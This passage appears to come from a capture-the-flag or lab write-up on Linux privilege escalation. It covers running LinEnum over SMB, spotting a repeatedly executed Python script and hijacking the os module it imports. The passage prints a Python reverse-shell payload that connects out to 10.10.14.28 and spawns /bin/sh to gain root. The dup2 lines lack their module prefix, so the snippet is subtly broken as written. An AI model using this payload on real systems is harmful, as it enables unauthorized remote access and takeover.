# Post Exploitation

## Privelege Escalation

Transfer LinEnum.sh over through SMB, wget will not work :(&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIOu7fxIz7wG7PaNmQ5%2Fimage.png?alt=media\&token=2074ac2d-7162-4bf6-a7d9-28af205da539)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIP4bSmmDZ9QM_tutTv%2Fimage.png?alt=media\&token=e6282498-9ba4-49fa-b259-cf7f4054157c)

![Appears that this script is being executed repeatedly ](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIP6DlkVbPlcVctdzXy%2Fimage.png?alt=media\&token=738d02cd-95f6-466f-a35f-a32c8197e24d)

The file only has read permissions, after reading the file, we see that it runs the os module. We can check if that is configured correctly.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIP6oNT70KXh8BCx1SL%2Fimage.png?alt=media\&token=41b22671-5ed7-4049-89d9-fde6c7c29b1f)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIP8-gecyYhe8B41sCO%2Fimage.png?alt=media\&token=49f001af-423a-4db3-b7cb-12c2106360dd)

Added the following code to the end of the file

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.28",1233));
dup2(s.fileno(),0); 
dup2(s.fileno(),1); 
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

![We are root! ](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MIOkgyxd-KM1Y_jSMyO%2F-MIPAaVh4L65JAyYi2Lm%2Fimage.png?alt=media\&token=30882322-fb03-402f-85fb-0881d3378297)
